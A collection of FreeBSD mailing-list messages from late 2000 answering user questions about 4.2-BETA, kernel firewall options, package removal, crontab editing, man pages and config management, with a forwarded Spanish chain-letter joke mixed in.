# DUMMYNET enables the "dummynet" bandwidth limiter. You need
# IPFIREWALL as well. See the dummynet(4) manpage for more info.
# BRIDGE enables bridging between ethernet cards -- see bridge(4).
# You can use IPFIREWALL and dummynet together with bridging.
options         DUMMYNET
options         BRIDGE

TEMfw3#

This is how it looks on the 3.4 box too. Could it be that the DSL ISP is
blocking something ?? My 3.4 box is on a different ISP.
John...



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I was cvsupping my source tree, expecting to install 4.1.1-STABLE, from
4.1.1-RELEASE. What's this BETA thing? Is it stable enough for a
production-database box?

Rick

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On Sat, Nov 04, 2000 at 11:37:03PM +0100, Rick Jansen wrote:
> I was cvsupping my source tree, expecting to install 4.1.1-STABLE, from
> 4.1.1-RELEASE. What's this BETA thing? Is it stable enough for a
> production-database box?

It's the same thing it has always been; it is the head of the STABLE
branch. However, we are in (or are very close to) the freeze on STABLE
before it is blessed as 4.2-RELEASE, thus, the name.

But again, STABLE is what it has always been, the head of the STABLE
branch.
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Rick Jansen wrote:
> 
> I was cvsupping my source tree, expecting to install 4.1.1-STABLE, from
> 4.1.1-RELEASE. What's this BETA thing? Is it stable enough for a
> production-database box?

You are too close to the release of 4.2-Release for that to occur. If
you were following the right list for tracking -stable, you would have
known about the imminent release of 4.2. 

There are changes. I have two machines that I am running at 4.2-Beta.
They seem to run as well as they did at 4.1.1-stable. I have a lot
more trouble trying to use KDE-2. I'm not going to uninstall KDE-2 to
get the features that didn't work on KDE-1 back and no hope of getting
them fixed. 

I don't know how well 4.2-Beta will run for you; however, since you
have it built, it would be worth trying. There are changes in
/usr/src/UPDATING that have changed since 4.1.1-Release. You will have
to deal with them. That wouldn't have changed if you had cvsup'ed
4-stable a week ago or so. This way you won't be surprised with the
new features when 4.2-R comes out. You have ports that have to be
upgraded when changes are made such as lsof. 

Kent

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On Fri, Nov 03, 2000 at 11:49:10PM -0800, satkal79@yahoo.com wrote:
> Dear Sirs,
> I m a final year computer science student and my
> project focusses on FreeBSD's DNS lookup system.
> Currently , I m trying to understand how nslookup
> system works. I know where the source code for
> nslookup resides (usr/src/usr.sbin/ypserv/)....but the
> source codes which resides there are very raw ,

Uh... Sorry, no. Try,

  /usr/src/contrib/bind

Also,

  http://www.isc.org/products/BIND/

And find the O'Rielly book, _DNS & BIND,_ bt Liu, Loukides, and
Albitz.
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On Sat, Nov 04, 2000 at 11:19:16PM +0300, nasir@afranet.com wrote:
> Sir,
> I added these options to GENERIC in order to enable IPFW 
> options IPFIREWALL 
> options IPFIREWALL_VERBOSE 
> options IPFIREWALL_VERBOSE_LIMIT=10 
> But config complained about <altq/if_altq.h> and when I added this file from altq-2.2 to the correct position, make depend exited with the error that it doesn't know how to make altq obj.

What is altq?

> Do you know what is wrong with my kernel config file?

Dunno. Maybe showing it to the list would help.
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On Fri, Nov 03, 2000 at 11:05:12PM -0500, Alex Michlin wrote:
> To start off, I just want to appoligize if this is not the correct board
> for this question.  My question is: Is there a web resource for
> configuring a FreeBSD firewall machine to forward vhost ports to different
> machines?  (I.E. ipaddy1:80 ==> internal_web1, ipaddy2:80 ==>
> internal_web2, where ipaddy? are external vhosts on the FreeBSD Firewall).
> I know there is a socket port, but that shows connections from the
> firewall machine on the internal servers.  Is there something like linux's
> ipmasqadmin portfw for freebsd?

man natd

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I seem to be having some trouble creating the necessary devices to access my
CD-R, which is sitting on cd1 on my FreeBSD 4.1.1-STABLE machine.  When I run
`./MAKEDEV cd1` in /dev, all that appears to be created is /dev/cd1c, which
doesn't seem to be enough.

Anyone have any suggestions for creating the rest of the devices?

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just installed the freebsdlite 4.4 and it's up and running.. I am an
old retired electronics technician.. I have been using and putting together
Linux Slackware, Redhat and others.. I have been successful in getting most
of the apps onto the system.. However... fetchmail returns a code 
"/usr/libexec/ld-elf.so.1:Shared object "libss1.so.1" not found"
. The manual gives me some info regarding different versions, (I'm very
confused). IT would seem that I just need to download or find libssl1.so.1..
However, I cannot find such a file.. What am I doing wrong.. ?I am finding it
hard to believe that this is even worth the effort...
uname -a gives :
FreeBSD jedi.home.usr 4.0-RELEASE FreeBSD 4.0-RELEASE #0: Mon Mar 20 22:50:22 GM
T 2000    root@monster.cdrom.com:usr/src/sys/compile/GENERIC i386
The pc is an hp vectra with 486-66 and 16mb of ram, 850 mg harddrive.
TIA..  de jerry



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HI,
Someone mistakenly install the XFrree86 distribution set on our gateway. Is there anyway to uninstall this?
It was installed using the /sta/nd/sysinstall program.

Any help would be apprectiated. Thank you


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Peter Johnson wrote to Ryan Thompson:

> If you install ncftp from the ports, you should get ncftpput and ncftpget
> which are command-line variations of the two commands, very useful for
> scripts and batch processing.
> 
> Pete

Useful as long as the scripts do not need to be ported to
machines/platforms without ncftpput/ncftpget.  Same reason I don't run a
patched ftp(1) any more :-)  But, yes, if the scripts are to be run on a
controlled set of machines, those will come in handy.

- Ryan


> On Sat, 4 Nov 2000, Ryan Thompson wrote:
> 
> > joe wrote to freebsd-questions@FreeBSD.ORG:
> > 
> > > Dear sir/Madam
> > > 
> > >     I've been trying to use the ftp (auto-fetch) command: 
> > >         ftp ftp://[user:password@]host[:port]/file[/]
> > >
> > > As I found, the default file transferring operation of this
> > > instruction is eqivalant to a ftp's "get" command, but actually I want
> > > this command to perform a ftp's "put" command and do it automatically.
> > > Therefor, are there any options or parameters I have to add to make it
> > > works?
> > 
> > Actually, ftp(1) doesn't support this sort of command line operation.  
> > Some time ago (FreeBSD 2.2.x, I think), I patched ftp(1) to support a put
> > if two arguments were given.  (Worked for single files).
> 
> 

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jerry@luke.home.usr wrote:
> 
> just installed the freebsdlite 4.4 and it's up and running.. I am an
> old retired electronics technician.. I have been using and putting together
> Linux Slackware, Redhat and others.. I have been successful in getting most
> of the apps onto the system.. However... fetchmail returns a code
> "/usr/libexec/ld-elf.so.1:Shared object "libss1.so.1" not found"
> . The manual gives me some info regarding different versions, (I'm very
> confused). IT would seem that I just need to download or find libssl1.so.1..
> However, I cannot find such a file.. What am I doing wrong.. ?I am finding it
> hard to believe that this is even worth the effort...
> uname -a gives :
> FreeBSD jedi.home.usr 4.0-RELEASE FreeBSD 4.0-RELEASE #0: Mon Mar 20 22:50:22 GM
> T 2000    root@monster.cdrom.com:usr/src/sys/compile/GENERIC i386
> The pc is an hp vectra with 486-66 and 16mb of ram, 850 mg harddrive.

	If you are not already, please try building fetchmail using the ports
system. It should handle the dependencies for you. 

	We have made several improvements in our system since 4.0 was released.
You might want to wait till November 15th when our 4.2-Release is
available, or take a look at
ftp://releng4.freebsd.org/pub/FreeBSD/snapshots/i386/ and install the
latest 4.2-Beta snapshot. Either one should allow you to easily build
fetchmail using the ports, I use it myself. 

Good luck,

Doug
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I do not know where to ask this. I have installed, about 3 times and when
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Folks,

I just recently  downloaded the release 4.1.1 ISO file, created a CD and
upgraded.
All went well.  Thanks.  I have noticed one issue however.

The sources for 'more' and mount_mfs' are missing!!!!  Any Ideas?

Thanks.

Bob


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On Sat, Nov 04, 2000 at 08:44:31PM -0500, Liotta, Bob wrote:
> Folks,
> 
> I just recently  downloaded the release 4.1.1 ISO file, created a CD and
> upgraded.
> All went well.  Thanks.  I have noticed one issue however.
> 
> The sources for 'more' and mount_mfs' are missing!!!!  Any Ideas?

They are there,

  /usr/src/contrib/less
  /usr/src/sbin/newfs

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On Sat, Nov 04, 2000 at 03:37:07PM -0800, Roop Nanuwa wrote:
> HI,
> Someone mistakenly install the XFrree86 distribution set on our gateway. =
Is there anyway to uninstall this?
> It was installed using the /sta/=08nd/sysinstall program.
>=20
> Any help would be apprect=08iated. Thank you

  # pkg_delete `cd /var/db/pkg; ls -d XFree86-[34]*`

--=20
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On Thu, Nov 02, 2000 at 05:02:42PM -0800, Gary Kline wrote:
> On Thu, Nov 02, 2000 at 03:20:57PM -0800, David Johnson wrote:
> > Giorgos Keramidas wrote:
> > 
> > > What can anyone say about an OS where the manpages are considered something
> > > `extra' that is not part of the system itself? *sigh*
> > 
> > It's not just R**H**, it's all of the Linux distributions that use GNU.
> > GNU wants you to use info instead of man. What is especially obnoxious
> > is when you use info and see the words "this man page is not longer
> > maintained...".
> > 
> > I've been tempted to write an info2man conversion utility and donate it
> > to GNU, but I know that they would never use it, too heretical.
> > 
> 
> 	I'll throw in my dime's worth and suggest that every `info'
> 	page be turned into a man-style page with hyperlinks.


Not necessary. Try using the pinfo port.
 'pinfo sleep'  will display sleep(1) with lynx-style navigation and
                hyperlinks where related man pages are mentioned.
 'pinfo mtools' will display the mtools info document if it exists,
                otherwise try the man page.
pinfo comes with a nice man page, too (yes a real man page).


I've been running a basic VMS to UNIX orientation course where we
compared man pages from several systems they were going to encounter:
 FreeBSD, Slackware Linux, Dynix/PTX, Digital UNIX (now Tru64)

We found the FreeBSD and Digital man pages to be much more readable and
informative than the others, and both had a consistency in structure
that made "getting the knack of it" fairly easy. While the Digital
man pages had more information, the FreeBSD man pages were
often the most usable, at least for the samples that we dissected.

I've seen people read a man page on a FreeBSD system in order to
understand the corresponding man page on another system.
We also have man pages (like forward(5)) that other systems lack.

For a bunch of developers who hate writing documentation and who
aren't even getting paid for it, we've done pretty bloody well.


-- 

Regards,
        -*Sue*-
 
 


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I haven't used it myself yet but "/usr/ports/sysutils/cfengine" looks
interesting.

===Janko van Roosmalen - Vught - Netherlands===

On Sat, 4 Nov 2000, Jim C. Nasby wrote:

>  
> Does anyone have any tools that they use for maintaining config files for a
> bunch of machines? Ideally, for each machine you could have some sort of a
> 'delta' that contianed whatever custom settings that machine had. This would
> be applied to the stock config file that mergemaster/cvsup/whatever gives
> you (of course, you'd have to mergemaster to a destination other than / :)
> It would also be nice to have a(a bunch of) generic config file(s) for your
> network, that would have most of the defaults you like.
> 
>          Generic delta file   Machine delta file
>                   |                    |             file to get
> Base config file -+-> -----------------+---------->  installed in /etc
>                                                      or wherever else
> 
> You'd also want the capability to use different tools to apply the
> delta's... for example, for things like /etc/rc.conf, you could just append
> the Machine delta file (which would just be a bunch of sh variable
> assignments) to the end of the Generic delta file (again, just sh variable
> assignments), and install it to /etc/rc.conf. In this case, the delta files
> really wouldn't act as delta's at all. But for something like your kernel
> config, you'd probably want to start with GENERIC, sed -e 's///' some
> things, and add some other things in. You'd want all this in CVS for sanity,
> including the results of mergemaster (and whatever other base files) that
> everything is based on.
> 
> I'm sure I lost a bunch of people with my long, rambling description here. I
> have an idea of how to do this, but I figured it would be worthwhile to get
> comments and ideas first. Then I just need to find the time to actually do
> it ;)
> -- 
> Jim C. Nasby (aka Decibel!)                                  /^\ 
> jim@nasby.net                                               /___\



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On Fri, Nov 03, 2000 at 03:00:13PM +0300, Odhiambo Washington wrote:
> * Mike Meyer <mwm@mired.org> [20001103 02:19]:
> =>Archit P Shah <ashah@MIT.EDU> types:
> =>> 1) Are there good reasons to not put system files (/etc/passwd, /etc/group,...)
> =>> under version control? It seems like it would be useful to be able to see the 
> =>> changes over time. (Not as a security measure, but as a way of doing sanity
> =>>  checks).
> =>
> =>I certainly hope not - I keep a lot of them under version control!
> =>/etc/password wasn't one of them, because it tends to be edited by
> =>tools, not users. But lots of others (/etc/*.conf, /etc/fstab, kernel
> =>config files, qmail control files, and so on) are there, and it makes
> =>a *lot* of sense to do that.
> 
> Sorry guys but i am abit lost on this version control issue. Where do i
> get more info?

There is an easy RCS tutorial for exactly this purpose at
http://www.daemonnews.org/199906/newbies.html


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Marko Cuk writes:

> Can anyone explain me, why is FreeBSD known as powerful sistem
> with industrial strenghth and rock stability, but I manage to
> crash it several times.

The "known as" part is simple: focused marketing

OK, maybe not that simple. People leave an OS that is unstable
for _them_ in favor of another. Even if that other OS is often
less stable, it will most likely work. What are the chances of
having both OSes be unstable, hmmm? So the new OS looks good.
Less popular OSes tend to benefit from this affect, because
most of their users jumped ship from somewhere else. The new
OS couldn't possibly be worse than the one that was left.

As FreeBSD gets more popular, it will have more users that are
not desperate to replace an existing unstable OS. Some portion
of these users will find FreeBSD to be unstable. Maybe they will
switch to OpenBSD, Debian, or Solaris -- which will then be
reported as being more stable. (for RZ1000 owners: Debian)

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On 04-Nov-00 Crist J . Clark wrote:
<snip>

>  .... If you had the second command like,
> 
>   $ crontab -l | tail +4 | sed '1s/^/#/' | crontab -
>
 
always thinking in term of tail -n, +n never occured to me.

> It would do what the original poster wanted. But I do not see why he
> cannot get the vi(1) to work. And I really cannot ficure out why
> sometimes it works and sometimes it does not work for me.

'nother datapoint:
$ echo $EDITOR
ed
localhost.dread$ crontab -e
44
1s/^/#/
wq
45
crontab: installing new crontab
localhost.dread$ crontab crontab.keep
localhost.dread$ (echo '1s/^/#/'; echo 'wq') | crontab -e
44
45
crontab: no changes made to crontab

Weird :-/ let's grub around in the crontab.c 

        if (mtime == statbuf.st_mtime) {
                warnx("no changes made to crontab");
                goto remove;
        }

Ah-hah : it checks st_mtime (a granularity of one second).
So you have crontab writing the tempfile, exec's ed, and if ed finishes within
the second, crontab thinks nothing changed.
(o'boy, my first pr)


BTW: This might be poorly remembered trivia from my SysV days, but ...
vi will give-up (& exit) if curses complains about
A) a non-tty. 
B) a terminfo(cap) that can't move the cursor non-destructively.

If that holds for FreeBSD, until crontab is a bit more critcal about
changed files; then i think you're left with 
crontab -l | tail +4| {sed, awk} | crontab -

Regards,
-- 
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>> >
>>> >>> > LA CONTESTADORA DE DIOS
>>> >
>>> >>>
>>> >
>>> >>> > Que sucedería si Cristo decidiera instalar una contestadota
>>> >
>>> >>> > telefónica automática en el cielo?  imagínate rezando y escuchando 
>>>el
>>> >
>>> >>> > siguiente
>>> >
>>> >>> > mensaje:
>>> >
>>> >>> >  "Gracias por llamar a la Casa de mi Padre... Por favor selecciona
>>> >
>>> >>> > una
>>> >
>>> >>> > >>de
>>> >
>>> >>> > >>las
>>> >
>>> >>> > >> > siguientes opciones:
>>> >
>>> >>> > >> > Presiona 1 para "peticiones".
>>> >
>>> >>> > >> > Presiona 2 para "acciones de gracias".
>>> >
>>> >>> > >> > Presiona 3 para "quejas".
>>> >
>>> >>> > >> > Presiona 4 para cualquier otro asunto."
>>> >
>>> >>> > >> > Imagínate que Dios usara la excusa tan conocida...
>>> >
>>> >>> > >> > " De momento todos nuestros Ángeles están ocupados, 
>>>atendiendo a
>>> >
>>> >>> > otros
>>> >
>>> >>> > >> > clientes. Por favor manténgase rezando en la línea y su 
>>>llamada
>>> >
>>> >>> > será
>>> >
>>> >>> > >> > atendida
>>> >
>>> >>> > >> > en el orden que fue recibida. Te imaginas obteniendo este 
>>>tipo de
>>> >
>>> >>> > >>respuestas
>>> >
>>> >>> > >> > cuando llames a Dios en tu oración?...
>>> >
>>> >>> > >> > Si deseas hablar con Gabriel, presiona 5.
>>> >
>>> >>> > >> > Con Miguel, presiona 6.
>>> >
>>> >>> > >> > Con cualquier otro ángel, presiona 7.
>>> >
>>> >>> > >> > Si deseas que el Rey David te cante un Salmo, presiona 8
>>> >
>>> >>> > >> > Si deseas hacer reservaciones para la casa de mi Padre,
>>> >
>>> >>>simplemente
>>> >
>>> >>> >
>>> >
>>> >>> > >> > presiona:
>>> >
>>> >>> > >> > J U A N, seguido de los
>>> >
>>> >>> > >> > números 3, 1 - 6.
>>> >
>>> >>> > >> > Si deseas obtener respuestas a preguntas necias sobre los
>>> >
>>> >>> > dinosaurios,
>>> >
>>> >>> > >>la
>>> >
>>> >>> > >> > edad
>>> >
>>> >>> > >> > de la Tierra, donde esta el Arca de Noe, por favor espérate a
>>> >
>>> >>> > llegar
>>> >
>>> >>> > al
>>> >
>>> >>> > >> > Cielo.
>>> >
>>> >>> > >> > Te imaginas lo siguiente en tu oración?:
>>> >
>>> >>> > >> > " Nuestra computadora señala que ya llamaste otra vez hoy, 
>>>por
>>> >
>>> >>> > favor
>>> >
>>> >>> > >>cuelga
>>> >
>>> >>> > >> > inmediatamente y despeja la línea para otros que quieren 
>>>también
>>> >
>>> >>> > >>rezar"..
>>> >
>>> >>> > >>O
>>> >
>>> >>> > >> > bien lo Siguiente:
>>> >
>>> >>> > >> > Nuestras oficinas estarán cerradas el fin de semana, por 
>>>causa de
>>> >
>>> >>> > >> > Semana Santa; por favor vuelve a llamar el Lunes."
>>> >
>>> >>> > >> > GRACIAS A DIOS que esto no sucede...
>>> >
>>> >>> > >> > GRACIAS A DIOS que le puedes llamar en oración cuantas veces
>>> >
>>> >>> > >>necesites...
>>> >
>>> >>> > >> > GRACIAS A DIOS que a la primera llamada El siempre te 
>>>contesta...
>>> >
>>> >>> > >> > GRACIAS A DIOS porque en JESUS y con JESUS nunca estará la 
>>>línea
>>> >
>>> >>> > >>cupada...
>>> >
>>> >>> > >> > GRACIAS A DIOS que El nos responde personalmente y nos conoce 
>>>por
>>> >
>>> >>> > >>nuestro
>>> >
>>> >>> > >> > nombre...
>>> >
>>> >>> > >> > GRACIAS A DIOS que El conoce nuestras necesidades antes de 
>>>que se
>>> >
>>> >>> > las
>>> >
>>> >>> > >> > manifestemos...
>>> >
>>> >>> > >> > GRACIAS A DIOS porque de nosotros depende llamarle en 
>>>ORACION...
>>> >
>>> >>> > >> > GRACIAS A DIOS por leer este mensaje...
>>> >
>>> >>> > >> >
>>> >
>>> >>> > >> > PD.- Tendrás suficiente tiempo como para enviar esto a otra
>>> >
>>> >>> > persona?
>>> >
>>> >>> >
>>> >
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>Marko Cuk writes:
>
>> Can anyone explain me, why is FreeBSD known as powerful sistem
>> with industrial strenghth and rock stability, but I manage to
>> crash it several times.
>
>The "known as" part is simple: focused marketing
>
>OK, maybe not that simple. People leave an OS that is unstable
>for _them_ in favor of another. Even if that other OS is often
>less stable, it will most likely work. What are the chances of
>having both OSes be unstable, hmmm? So the new OS looks good.
>Less popular OSes tend to benefit from this affect, because
>most of their users jumped ship from somewhere else. The new
>OS couldn't possibly be worse than the one that was left.
>
>As FreeBSD gets more popular, it will have more users that are
>not desperate to replace an existing unstable OS. Some portion
>of these users will find FreeBSD to be unstable. Maybe they will
>switch to OpenBSD, Debian, or Solaris -- which will then be
>reported as being more stable. (for RZ1000 owners: Debian)
>
>So, feel free to pick a new OS and tell everyone it is stable.

   Actually it's less simple than that. All OSes have areas of instability.
The trick in making a reputation of stability is to make the system stable
in the areas that most people use. For FreeBSD, that would be non-exotic
networking applications (Web, FTP, and IP routing), and basic file server
and database applications. Anytime you get into the fringe, like network
bridging or software RAID, then you're using code that doesn't get as much
testing and is thus more prone to bugs.
   We've also made a major effort to make FreeBSD scalable - much more
scalable than any of the alternative OSes. It's rare that a properly tuned
FreeBSD server will fall over under high loads and it tends to perform better
under those loads than anything else available.

-DG

David Greenman
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They made winmodems in the sportster line--courier's a safer bet: they
made no courier winmodems...

On Sat, 4 Nov 2000, Heredity Choice wrote:

> I use a US Robotic Sportser, but for anybody without an available ISA slot
> any external serial modem is sure to work. I should expect an external USB
> modem also to work.
> 
> Paul Smith
> 
> 
> > -----Original Message-----
> > From: owner-freebsd-questions@FreeBSD.ORG
> > [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Jeremy
> > Vandenhouten
> > Sent: Friday, 27 October, 2000 19:49 PM
> > To: adesouza@hpu.edu; freebsd-questions@FreeBSD.ORG
> > Subject: Re: Modem Compatibility
> >
> >
> > A US Robotics/3Com ISA Modem with jumpers on it...
> >
> > ----- Original Message -----
> > From: "Adrian De Souza" <adesouza@hpu.edu>
> > Date: Friday, October 27, 2000 9:43 pm
> > Subject: Modem Compatibility
> >
> > > To whom it may concern:
> > >
> > > I want to purchase a modem for my FreeBSD system. I have checked
> > > out the recommended
> > > hardware section on the FreeBSD webpage but was of little help to
> > > me (nothing
> > > on modems). Can anyone recommend any modem that they are sure will
> > > work?
> > > Thanks in advance
> > >
> > > Adrian De Souza
> > > Honolulu, Hawaii
> > >
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